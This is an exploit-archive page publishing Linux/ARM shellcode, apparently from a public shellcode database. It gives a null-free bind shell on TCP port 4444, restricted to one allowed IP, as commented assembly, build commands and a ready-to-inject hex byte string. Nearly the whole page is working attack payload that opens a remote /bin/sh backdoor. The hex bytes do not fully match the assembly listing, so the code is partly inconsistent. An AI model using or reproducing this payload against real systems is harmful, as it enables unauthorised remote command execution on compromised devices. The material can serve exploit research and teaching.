Linux/ARM - Bind TCP (4444/TCP) Shell (/bin/sh) + IP Controlled (192.168.1.190) + Null-Free Shellcod



EKU-ID: 7360 CVE: OSVDB-ID:
Author: rtmcx Published: 2018-02-26 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
* Title:  Linux/ARM - IP Controlled Bind Shell TCP (/bin/sh). Null free shellcode (168 bytes)
* Date:   2018-02-17
* Tested: armv7l (Raspberry Pi v3) and armv6l (Raspberry Pi Zero W)
* Author: rtmcx - twitter: @rtmcx
* Description: The shellcode will only allow the connection to execute the shell if originating from the allowed IP.
*     Otherwise, the connection is dropped and the shellcode will wait for a new connection.
*/

.section .text

.global _start
_start:
 /* Enter Thumb mode */
 .ARM
 add r3, pc, #1
 bx r3

 .THUMB
 nop       // nop needed for address alignment

/* Create a new socket*/
 mov  r0, #2    // Add values for 
 mov  r1, #1    // socket creation
 eor  r2, r2, r2   // Zero out r2
 mov  r7, #200   // Put 281 in r7 ...
 add  r7, #81    // ...in a 2-step fashion
 svc  #1     // Execute syscall

 /* The new socket will be returned in r0, which will be used later, i
    so save the new socket to another register (r4). */
 mov r4, r0     // Save socket in r4


/* Bind socket */
 adr  r1, struct_addr  // address to string "1,1,1,1"
 strb r2, [r1, #1]  // replace to 0 for AF_INET
  str  r2, [r1, #4]   // write 0.0.0.0 to r2
 mov  r2, #16    // address length str r2, [r1, #4]
 add  r7, #1    // r7 already contains 281
 svc  #1     // Execute syscall


/* Listen for connections */
 mov  r0, r4   // r4 has saved sock_fd
 mov  r1, #2   // Backlog value
 add  r7, #2   // r7 already contains 282
 svc  #1


/* Accept incomming connections */
accept:
 mov  r0, r4    // r4 has saved sock_fd
 mov  r8, r4    // Save srv-socket in r8
 eor  r5, r5, r5   // Get some NULLs
 adr  r1, struct_client_addr  // Put address of struct_client in r1
 strb r5, [r1, #1]  // replace 0 for AF_INET
 adr  r2, addr_len  // Address to variable for addr_len
 add  r7, #1    // r7 already contains 284
 svc  #1

 mov  r4, r0    // save client_sock in r8


 /* Compare the clients ip against the allowed..*/
 adr     r5, client_ip  // Save the address to the clients IP in r5
 adr  r1, allowed_ip  // Save the address to the allowed IP in r1

 ldr     r3, [r1]   // Load the client IP value into r3
 ldr     r2, [r5]   // Load one allowed IP value into r2

 cmp  r2, r3    // compare the bytes
 bne  close    // Not same, close the connection

 

/* IP Address match */
/* Duplicate STDIN, STDOUT and STERR*/
 mov  r0, r4    // Saved sockfd
 eor  r1, r1, r1   // Zero r1 for STDIN
 mov  r7, #63    // Syscall for dup2
 svc  #1     // Execute syscall

 mov  r0, r4    // Saved sockfd
 add  r1, #1    // STDOUT
 svc  #1     // Execute syscall

 mov  r0, r4    // Saved sockfd
 add  r1, #1    // STDERR
 svc  #1     // Execute syscall


/* Execute shell */
 adr  r0, shellcode  // address to "/bin/sh"
 eor r1, r1, r1    // zero out r1
 eor r2, r2, r2    // and r2
 strb r2, [r0, #7]  // Replace 'X' with NULL
 mov r7, #11     // Syscall for execve
 svc  #1


/* Close current connection (used if connection is from unallowed IP) */
close:
 mov  r0, r4    // Put saved client sockfd into r0
 mov  r7, #6    // Syscall number for "close"
 svc  #1     // Execute syscall

 /* r7 now contains 6, so we must restore the value to 284 (accept will add 1 to get the correct value)*/
 mov  r7, #200   // Put 284 in r7 ...
 add  r7, #84    // ...in a 2-step way
 mov  r4, r8    // Restore saved sock_fd to r4
 b  accept    // After we closed the connection,
        // wait for a new connection

/* Structs and variables */

struct_client_addr:
 .ascii "\x02\xff"   // AF_INET 0xff will be NULLed
 .ascii "\x11\x11"   // Client port number
client_ip:
 .byte 2,2,2,2    // Client IP Address (8 byte)

struct_addr:
 .ascii "\x02\xff"   // AF_INET 0xff will be NULLed
 .ascii "\x11\x5c"   // Port number 4444
 .byte 1,1,1,1    // IP Address (8 byte)

shellcode:
 .ascii "/bin/shX"

allowed_ip:
 .ascii "\xc0\xa8\x01\xbe" // The allowed IP (192.168.1.190)

addr_len:
 .ascii "\x10\x10"   // accept() must have the length of the struct in a variable

/*
Compile and link with:
# as -o shellcode.o shellcode.s
# ld -N shellcode.o -o shellcode

\x01\x30\x8f\xe2\x13\xff\x2f\xe1\xc0\x46\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x01\xdf\x04\x1c
\x1d\xa1\x4a\x70\x4a\x60\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\xa0\x46
\x6d\x40\x15\xa1\x4d\x70\x1b\xa2\x01\x37\x01\xdf\x04\x1c\x5b\x40\x52\x40\x12\xa5\x16\xa1\x05\x26
\x0b\x78\x2a\x78\x9a\x42\x14\xd1\x01\x35\x01\x31\x01\x3e\x01\x2e\xf6\xd1\x20\x1c\x49\x40\x3f\x27
\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x0a\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27
\x01\xdf\x20\x1c\x06\x27\x01\xdf\xc8\x27\x54\x37\x44\x46\xd1\xe7\x02\xff\x11\x5c\x02\x02\x02\x02
\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58\xc0\xa8\x01\xbe\x10\x10\xc0\x46

*/